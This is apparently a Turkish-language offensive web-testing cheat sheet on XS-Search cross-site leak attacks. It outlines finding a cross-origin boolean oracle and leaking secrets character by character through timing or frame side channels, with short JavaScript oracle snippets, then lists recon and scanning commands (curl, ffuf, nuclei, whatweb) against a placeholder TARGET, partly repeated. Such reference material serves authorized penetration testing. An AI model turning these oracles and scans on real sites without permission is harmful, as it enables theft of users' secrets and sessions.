XS Search

web offensive

XS Search web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. Çapraz origin boolean oracle adayını bul.

2. Timing/error/CSS/connection kanalını kalibre et.

3. Karakter karakter sızıntıyı otomatize et.

4. Sızan secret ile oturum etkisini bağla.

XS-Leak fikri

Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.

const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;

<link rel=prerender href='https://TARGET/search?q=secret'>

Oracle döngüsü

async function oracle(q){ /* timing/error/frame */ return bool }

for (const c of charset) if (await oracle(prefix+c)) prefix+=c

python3 xsleak.py --target https://TARGET/search --param q

Operasyon notları

XS Search sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html

Hızlı doğrulama

curl -skI https://TARGET/

whatweb -a 3 https://TARGET

burpsuite

hipotez → minimal PoC → etki kanıtı → pivot